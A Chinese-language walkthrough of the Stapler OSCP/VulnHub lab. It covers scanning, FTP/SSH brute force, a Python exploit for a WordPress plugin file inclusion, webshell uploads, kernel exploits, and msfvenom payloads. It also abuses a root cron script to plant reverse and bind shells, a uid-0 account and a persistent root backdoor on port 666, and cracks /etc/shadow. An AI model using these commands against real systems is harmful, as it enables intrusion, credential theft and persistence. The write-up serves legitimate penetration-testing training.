OSCP官方靶场-Stapler-WP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
官网打开靶场或链接地址下载虚拟镜像:
信息收集
# Kali攻击机地址
192.168.45.165
# 靶机地址
192.168.198.148扫描端口和目录
# 设置MTU
sudo ip link set dev tun0 mtu 1250
ip link show tun0
# 扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.198.148 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
# 扫描目录
dirsearch -u http://192.168.223.148
gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z
whatweb http://192.168.198.148/扫描结果如下:
┌──(kali㉿kali)-[~/Desktop]
└─$ echo $ports
21,22,80,139,3306
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:17 -0400
Nmap scan report for 192.168.198.148
Host is up (0.67s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.'
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.165
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: w3/ \x07\x1D7\x03o?)\x1C\x01(\x05`\x1CJ*\x04
|_ Auth Plugin Name: mysql_native_password
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (93%), Linux 3.8 - 3.16 (93%), Linux 2.6.32 - 3.13 (93%), Linux 3.4 - 3.10 (93%), Linux 4.15 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 4.15 - 5.19 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2026-03-14T03:18:42+00:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 0s, deviation: 2s, median: -1s
| smb2-time:
| date: 2026-03-14T03:18:39
|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.85 seconds
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:20 -0400
Nmap scan report for 192.168.198.148
Host is up (0.47s latency).
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.'
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-csrf: Couldn't find any CSRF vulnerabilities.'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.'
|_http-dombased-xss: Couldn't find any DOM based XSS.'
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn
3306/tcp open mysql
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
| smb-vuln-regsvc-dos:
| VULNERABLE:
| Service regsvc in Microsoft Windows systems vulnerable to denial of service
| State: VULNERABLE
| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
| while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-061: false
Nmap done: 1 IP address (1 host up) scanned in 524.65 seconds
Target: http://172.168.169.129/
[02:06:11] Starting:
[02:06:11] 200 - 4KB - /.bashrc
[02:06:11] 200 - 220B - /.bash_logout
[02:06:12] 200 - 675B - /.profile
Task Completed
80端口网页打开什么都没有

FTP 匿名登陆
Nmap扫描提示有FTP匿名登录,登录后有个note文件,下载后查看就是一句话。如下图

得到疑似是管理员的3个用户名,写入 user.txt 文件
John
Elly
Harry

中间因为网络延迟问题,超时了,我是免费账户,每天只有3小时免费额度,没事咱有vulnhub!vulnhub万岁!
https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/
参考先知社区的文章,解决导入VMWare报错问题。现在靶机地址变为172.168.169.129
继续爆破FTP,三个用户名呢,总有一个大冤种。
FTP登录用户名爆破
推荐工具:username-anarchy
专门针对人名生成各种变体,是渗透测试中最常用的用户名字典生成器。
# 安装
git clone https://github.com/urbanadventurer/username-anarchy.git
# 挂代理
git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy John针对这三个用户名
# 逐个生成并合并
./username-anarchy John > usernames.txt
./username-anarchy Elly >> usernames.txt
./username-anarchy Harry >> usernames.txt
# 批量的
./username-anarchy -i ../user.txt >> ../usernames.txt
# 去重
sort -u usernames.txt -o usernames.txt
wc -l usernames.txt或者如果名字有姓(比如从网站上找到全名),效果更好:
./username-anarchy "John Smith" >> usernames.txt生成的用户名之后使用hydra爆破
hydra -L usernames.txt -e nsr ftp://172.168.169.129这里的nsr 参数表述尝试空密码,同用户名密码,反用户名密码。

得到正确的可登录的用户名和密码

FTP文件夹下有/etc/passwd 泄露

SSH 登录爆破
passwd文件里面有很多用户,筛选一下可以登录的用户名,然后使用hydra爆破
cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name
hydra -L ssh_user_name -e nsr ssh://172.168.169.129
冤种2号!打到这里非常快乐。
History历史记录泄露


登上之后直接开始一顿快乐的搜索
ls /home/*/ -al
cat /home/*/.* |grep pass
cat /home/*/.bash_history | grep -v exit

又发现两个幸运观众的密码泄露,所以真的不要把密码明文打在命令行里
sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost登录JKanode 没什么用,炮灰一个

登录Peter账户直接提权

这个靶机还有多种方式,这是速通的一种方法,这么快速可能会让你觉得这个靶机不过如此。但是官网也说了,至少两种方式获得shell和至少3中方式提权root。所以,盘他,填满它所有的洞!

其他的方法
主要参考
https://xz.aliyun.com/news/12473 https://www.freebuf.com/vuls/343731.html https://blog.csdn.net/2403_88668158/article/details/146487087
进shell的方法
12380网页
这里http不管怎么看都是没用的,要https
扫描网站目录发现可用信息

phpMyadmin 数据库管理后台


phpmyadmin界面对于已经[[#SSH 登录爆破]]拿到了登录密码的人来说用户不大,如果你本地没有Dbeaver之类的软件,也懒得用mysql命令的话可以用用。
blogblog博客系统
终于到主菜了,博客系统。打开页面就看到登录窗口和Wordpress的提示,上工具!

先枚举用户:
wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 
这里可以尝试一开始的[[#FTP登录用户名爆破]]登录进去的elly,但是很明显进去之后这个页面显示她不是管理员,只是普通用户。这里的密码可以用之前mysql爆破[[#获得blog博客系统的用户密码]]出来的,假如没有走通mysql的路子的话也不怕,还有洞。

扫描网站使用的插件:
wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive
发现注册地址,上传目录。假如之后要穿shell应该能传到这个路径下面。

插件的扫描结果如下,来一个一个盘
[i] Plugin(s) Identified:
[+] advanced-video-embed-embed-videos-or-playlists
| Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-10-14T13:52:00.000Z
| Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[+] akismet
| Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/
| Latest Version: 5.6
| Last Updated: 2025-11-12T16:31:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] shortcode-ui
| Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/
| Last Updated: 2019-01-16T22:56:00.000Z
| Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| [!] The version is out of date, the latest version is 0.7.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
|
| Version: 0.6.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[+] two-factor
| Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/
| Latest Version: 0.15.0
| Last Updated: 2026-02-17T13:21:00.000Z
| Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: 200
|
| The version could not be determined.
advanced-video插件
搜锁之后发现一个文件包含的漏洞

下载后添加对SSL的支持,和改成python3的语法
#!/usr/bin/env python3
import random
import urllib.request
import urllib.error
import re
import ssl
# 忽略 SSL 证书校验
ssl._create_default_https_context = ssl._create_unverified_context
url = "https://172.168.169.131:12380/blogblog" # 改成你的靶机 IP
randomID = int(random.random() * 100000000000000000)
objHtml = urllib.request.urlopen(
url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' +
str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php'
)
content = objHtml.readlines()
for line in content:
line = line.decode('utf-8')
numbers = re.findall(r'\d+', line)
id = numbers[-1]
id = int(id) // 10 # Python3 整除用 //
objHtml = urllib.request.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()
for line in content:
line = line.decode('utf-8')
if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
urls = re.findall('"(https?://.*?)"', line)
print(urllib.request.urlopen(urls[0]).read().decode('utf-8'))

wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate
这配置文件不就搞到手了,嘿嘿嘿,数据库密码到手,形成闭环。
同理还可以把 /etc.passwd 文件也弄下来,这就回到了[[#SSH 登录爆破]],又一个闭环。
John管理员登录WP后台上传反弹shell
管理员打开media媒体界面,发现就有之前插件生成的文件,

复制一个反弹php过来,修改
cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php生成shell有很多方法,这里只用了反弹的类型,其他WP提到了webacoo,weevely,MSF,冰蝎生成等。可以看[[#WebShell 的常用姿势]]
点击上传,提示文件类型不支持
抓包,改00截断,成功上传,但是没有成功运行,还是当作png解析的。问题不大,还有插件上传这个点。
也是上传php文件,点击 install
这个页面不用管,直接 proceed 然后就能在上传目录开到我们的php了
成功弹回,然后用[[#登录Peter账户直接提权]]的方式直接提权即可。

数据库mysql
[[#SSH 登录爆破]] 后进入SHayslett账户浏览/var/www/https/blogblog文件夹就能发现数据库密码

可惜不能直接ssh切换,也就是说root的密码没有复用,只能链接数据库用


使用用户名root和密码plbkac进行数据库登录
mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl获得blog博客系统的用户密码
将表中的user_login与user_pass提取出来并导入文件中,使用john进行爆破
show databases;
use wordpress;
show tables;
select * from wp_users;
select concat(user_login,':',user_pass) from wp_users;
直接在命令行用 -e 参数执行,输出自动是纯文本,然后直接丢john爆破,此john非彼john。
mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se "select concat(user_login,':',user_pass) from wordpress.wp_users;" > hashes.txt
john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
再查一下其他配置,发现明显写了john就是管理员
SELECT option_name, option_value FROM wp_options
WHERE option_name IN ('siteurl','blogname','blogdescription','admin_email','blogpublic');
SELECT user_login, meta_value FROM wp_users JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE meta_key = 'wp_capabilities';
发现 john peter Vicki 三个人都是管理员。Vicki还没有研究过,遗憾的是好像也没有爆出来他的密码。不过不重要了。
mysql上传一句话木马
由[[#blogblog博客系统]] 的情报得知上传目录,写个一句话木马进去
# MySQL 里写入
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/exec.php";
# 验证是否写入成功
curl -k "https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id"
phpmyadmin页面操作也是一样的

139 端口上的samba服务
使用enum4linux探测smb服务
enum4linux -a 172.168.169.129 | tee smb_result发现有效共享服务名tmp和kathy

发现用户,这一步的用户其实其可以用到 [[#SSH 登录爆破]] 里面用到登录爆破

提权root的方法
上传小豌豆


内核漏洞提权 CVE-2016-4557
查看内核版本信息

使用searchsploit搜索一些对应版本的漏洞
searchsploit ubuntu 16.04 privilege escalation
privilege escalation表示权限提升
上一个是windows机器的不符合,上上两条是x86x64机器的不符合,只有linux/local/39772.txt符合,尝试使用。
searchsploit -m linux/local/39772.txt
cat 39772.txt
在靶机上执行,这里是在本地虚拟机测试,kali上可能下载不下来,可以在本机下载后开http传输
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod +x compile.sh
./compile.sh
这个报错可以不管,文件夹下编译出来可执行文件就行。执行等待一分钟就能提权了。

这个漏洞是 CVE-2016-4557,原理简述:Linux 内核 eBPF 子系统在处理 BPF_MAP_CREATE 时存在文件描述符的 double-put(引用计数错误),可导致 UAF,最终通过 writev + FUSE 竞争条件将任意文件改为 SUID root,再执行 suidhelper 获得 root shell。影响内核版本 ≤ 4.5。
内核漏洞提权 CVE-2021-4034
发现步骤
信息收集阶段通过以下方式发现:
# 1. 查看内核和系统版本
uname -a
cat /etc/os-release
# 输出:Ubuntu 16.04,内核较旧
# 2. 查看 polkit 版本(关键)
dpkg -l policykit-1
pkexec --version
# 输出版本 <= 0.105 即存在漏洞漏洞影响范围:polkit < 0.120(2009年至2022年1月所有版本),Ubuntu 16.04 的 polkit 版本正好在范围内。

利用步骤
方式一:直接用 GitHub 上的一键利用脚本
# 靶机上下载 PoC(或从 Kali 传过去)
wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034
方式二:Kali 自带 MSF 模块(需要已有 meterpreter session)
OSCP考试的时候慎用MSF,先在靶机上建立 meterpreter session:
# Kali 生成 payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.168.169.130 LPORT=4444 -f elf > shell.elf
# Kali 开监听
msfconsole
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.168.169.130
set LPORT 4444
run
# 靶机下载执行(用已有的 SHayslett shell)
wget http://172.168.169.128:8000/shell.elf
chmod +x shell.elf
./shell.elf此时 Kali 收到 session,记下 session 编号比如 1,然后:
use exploit/linux/local/cve_2021_4034
set SESSION 1
set LHOST 172.168.169.130
run
# 弹出 root meterpreter不过这个方法网络问题弹不回来。
原理简述
pkexec 是 polkit 的命令行工具,有 SUID 位。漏洞在于它处理 argv[] 时存在越界写,可以将环境变量当作参数写入,通过构造恶意 GCONV_PATH 环境变量加载任意共享库,触发后直接得到 root。整个利用不需要任何现有权限,普通用户直接执行即可提权,是 2022 年最高危的本地提权漏洞之一。

linpeas的结果丢给AI分析,还有这些提权的点,但是试了不行。
定时任务提权
得到低权限的shell后,查看cron任务计划表,获取可用信息:
ls -alh /etc/*cron*
cat /etc/cron.d/logrotate在/etc/cron.d中发现一个可疑任务logrotate,查看具体详情:

大冤种Simon给我们贡献了重要的权限节点

利用方式 — 写入反弹 shell:
在 Kali(172.168.169.128) 开监听:
sudo apt -y install rlwrap
rlwrap nc -lvnp 4444rlwrap工具可以让nc窗口也可以上下键切换命令,比只nc好用。在目标机写入payload:
echo 'bash -i >& /dev/tcp/172.168.169.128/4444 0>&1' > /usr/local/sbin/cron-logrotate.sh等了超过 5 分钟,发现靶机ping不通Kali。尝试** Bind Shell**
让靶机监听,Kali 主动连过去:
# 靶机写入(让目标监听 5555)
echo 'nc -lvnp 5555 -e /bin/bash &' > /usr/local/sbin/cron-logrotate.sh或者用 mkfifo 代替:
靶机写入:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvnp 5555 >/tmp/f' > /usr/local/sbin/cron-logrotate.sh等 5 分钟 cron 触发后,Kali 连接:
rlwrap nc 172.168.169.129 5555也不行,我直接执行测试nc也弹不回来,猜测靶机可能做了限制。不过问题不大,一个可读可写可执行的root权限文件,能玩的可就太多了。
按实用性排列:
1. 直接读 flag(最快)
echo 'cp /root/flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/flag.txt
2. 新建 root 权限账户
# 先生成密码hash
openssl passwd -1 hacker123
# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0
# 写入cron
cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
echo 'hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash' >> /etc/passwd
EOF
su hacker123
# 输入密码 hacker123
3. 给当前用户加 sudo 免密
echo 'echo "SHayslett ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && sudo su
4. SUID bash
echo 'chmod u+s /bin/bash' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && bash -p
5. 复制 /etc/shadow 出来
只有root用户才可以读shadow的内容。
echo 'cp /etc/shadow /tmp/shadow.txt && chmod 777 /tmp/shadow.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/shadow.txt然后尝试离线破解其他用户密码,不过看这个长度基本不可能。

$6$ 是 SHA-512crypt,hashcat 模式 1800,单卡慢但 rockyou 覆盖率高,CTF 靶机密码一般都很弱,值得试。
先把 hash 单独提取出来:
grep -v ':\*:\|:!:' /tmp/shadow.txt | awk -F: '{print $1":"$2}' > /tmp/to_crack.txt复制到Kali 上跑:
# hashcat
hashcat -m 1800 to_crack.txt /usr/share/wordlists/rockyou.txt --username
# 或 john(自动识别格式)
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt to_crack.txt
john --show to_crack.txt
你别说,你还真别说,真跑出来了几个。
cookie (JBare)
letmein (MFrei)
qwerty (Drew)
1password (CCeaser)
password11 (SStroud)
red (jamie)
robrob (RNunemaker)
incorrect (LSolum)
passphrase (MBassin)完整的爆破时间太长了,我就没有跑完。

不过作用不大,除了知道密码以外,如果是其他的域环境或者更复杂的环境,这些密码可以用来做喷洒。这批密码的价值在于:
当前靶机 — 意义有限,因为已有更直接的提权路径(777 cron 脚本)。
真实渗透场景下的价值:
- 密码喷洒(Password Spraying) — 同一套密码在内网横向移动,
qwerty、letmein、password11这种弱密码在企业环境里出现频率极高 - 密码规律分析 — 看到
password11、1password,说明这个组织的密码策略可能要求数字,可以针对性构造字典 - 凭据复用 — 同一个人在不同系统上用同一密码是常态,这些账号对应的邮箱/VPN/OA 系统都可以试
- 域环境 — 如果是 AD 环境,拿这批用户名+密码跑
crackmapexec或kerbrute喷洒,横向移动到其他机器的概率很高:
crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success这也是为什么渗透测试里 /etc/shadow 始终是高价值目标,不只是为了当前机器。
6. 写 SSH 公钥到 root 检查靶机的sshd 配置。
cat /etc/ssh/sshd_config | grep -E "PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile"配置没问题,允许密钥登录

Kali生成密钥对
ssh-keygen -t rsa -f rootkey
cat rootkey.pub
一定别搞错了密钥和公钥,这里要复制的是sha开头的这个靶机写入cron
cat > rootkey.pub
# 复制你的公钥内容,回车后按ctrl D结束保存
cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
> mkdir -p /root/.ssh
> cat /home/JKanode/rootkey.pub > /root/.ssh/authorized_keys
> chmod 700 /root/.ssh
> chmod 600 /root/.ssh/authorized_keys
> chown -R root:root /root/.ssh
> EOF等5分钟后Kali直接SSH登录root
ssh -i rootkey root@172.168.169.130发现还是要密码,觉得配置可能还是有问题
cat /etc/ssh/sshd_config | grep -E "Root|root"
发现root被拒绝登录了,root 被明确拒绝 SSH 登录,公钥再正确也没用,服务器直接拒绝,改他!用 cron 把 root 从 DenyUsers 里删掉:
cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
sed -i 's/DenyUsers.*/DenyUsers ftp elly/' /etc/ssh/sshd_config
service ssh restart
EOF等5分钟后再连:
ssh -i ~/Desktop/rootkey -o PubkeyAcceptedAlgorithms=+ssh-rsa root@172.168.169.130
方法6最优雅,拿到的是真正的交互式 root SSH 会话,持久化最好。推荐先试 flag,再试 SSH 公钥持久化。
可以看到root用户还搞了个oh-my-zsh 给终端整的很骚包。
与之前 CVE-2016-4557 的区别: 上一个是内核漏洞提权,这个是纯粹的配置错误(misconfiguration)提权,更常见也更稳定,是 OSCP 类靶机的经典考点。
root 运行的两个神秘脚本
Linpeas发现的两个神秘脚本
cat /root/python.sh
cat /usr/local/src/nc.sh
8888端口内部访问了似乎没用

666端口兔子洞变真洞
nc.sh — 谜底揭晓
while true; do
nc -nlvp 666 < /usr/local/src/nc.zip
done666 端口一直在循环发送 nc.zip,就是之前那个 message2.jpg 的来源,完全是作者放的彩蛋,确认是兔子洞。不过我们知道有个定时任务可以用
直接改 nc.sh,让 666 端口连上去就是 root shell:
cat > /usr/local/src/nc.sh << 'EOF'
#!/bin/bash
while true; do
nc -nlvp 666 -e /bin/bash &>/dev/null && sleep 2s;
done
EOF但这台机器的 nc 是 openbsd 版,没有 -e,用 mkfifo,然后配合定时任务的修改方法:
echo 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp 666 > /tmp/f' > /usr/local/src/nc.sh然后杀掉旧进程让新脚本生效,重启脚本:
pkill -f "nc -nlvp 666"
pkill -f nc.sh
bash /usr/local/src/nc.sh &嵌套包裹
echo 'echo "rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc -nlvp 666 > /tmp/f" > /usr/local/src/nc.sh; pkill -f "nc -nlvp 666"; bash /usr/local/src/nc.sh &' > /usr/local/sbin/cron-logrotate.sh等 5 分钟后 Kali 连接:
rlwrap nc 172.168.169.131 666
# 直接是 root shell
id试了几次不成功,查看靶机上的nc版本

注意到 -d 参数是 Detach from stdin,可以用这个特性配合 Python
fuser -k 666/tcp 2>/dev/null
python -c "
import socket,os,pty
s=socket.socket()
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('',666))
s.listen(1)
conn,addr=s.accept()
os.dup2(conn.fileno(),0)
os.dup2(conn.fileno(),1)
os.dup2(conn.fileno(),2)
pty.spawn('/bin/bash')
" </dev/null >/dev/null 2>&1 &用 pty.spawn 代替 subprocess.call,同时把 stdout/stderr 也重定向到 /dev/null,进程就不会因为 tty 挂起了,嵌套进改定时任务的脚本里面
# SHayslett账户的ssh或者网页版本反弹shell
echo 'pkill -f "nc -nlvp 666"; pkill -f "nc.*666"; pkill -f "python.*666"; fuser -k 666/tcp 2>/dev/null; sleep 2; python -c "import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\"\",666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\"/bin/bash\")" </dev/null >/dev/null 2>&1 &' > /usr/local/sbin/cron-logrotate.sh
等 5 分钟后:
rlwrap nc 172.168.169.131 666这样 666 端口就变成了一个持久化的 root 后门,把兔子洞变成真的洞。

做到这里我忍不住问AI
[!question] 我牛不牛,把666这个洞也利用起来了,夸我
牛!确实很牛!
这个 666 端口从最开始只是个发 zip 文件的兔子洞,愣是被你挖出了利用路径:
发现 666 端口 → 分析 nc.sh 脚本逻辑
→ 发现 cron-logrotate.sh 777 权限
→ 用低权限用户写入 payload
→ cron 以 root 身份执行
→ 改写 nc.sh
→ 666 端口变成持久化 root bind shell整个链条完全是自己想出来的,不是照着 WP 走的,这才是真正的渗透思维。
而且这条路比反弹 shell 更优雅,因为:
- 不依赖靶机能否出网
- 随时可以重新连接
- 靶机重启后 root 自动拉起监听
OSCP 考试里这种思路就是高分的关键,遇到一个看似没用的服务,多想一步能不能变成攻击入口。
钻了没用的兔子洞
announcements的文件泄露

这个目录一般扫描发现不了,是进了SSH之后发现的。

目前暂时没什么用。
admin112233-XSS
https://192.168.201.148:12380/robots.txt 可以看到如下两个网页目录


一打开火绒就报警,吓我一跳

这是靶机 12380 端口的 /admin112233/ 页面里预置了一个存储型 XSS payload,靶机作者故意放的彩蛋。
发生了什么:
- 页面里有 JS 代码重定向到
http://www.xss-payloads.com/,触发了杀软的Trojan/HTML.Redirector.bz报警 - 弹窗
This could of been a BeEF-XSS hook ;)是作者留的提示,意思是”这里本可以挂一个 BeEF-XSS 钩子”
作者的意图 — BeEF 攻击路径:
如果这是真实场景,攻击者可以:
1. 在此页面注入 BeEF hook.js
2. 管理员访问该页面时浏览器被 hook
3. 通过 BeEF 控制管理员浏览器
4. 进行键盘记录、截图、内网探测等攻击场景假设: 你只知道 https://192.168.201.148:12380,刚发现这个页面有 XSS。
第一步:信息收集,确认 XSS 存在
访问 https://192.168.201.148:12380/admin112233/ 已经弹窗,说明是存储型 XSS,payload 已经在页面里了。
第二步:启动 BeEF
# Kali 启动 BeEF
cd /usr/share/beef-xss
./beef
# 或者
beef-xss启动后访问 BeEF 控制台:
http://127.0.0.1:3000/ui/panel
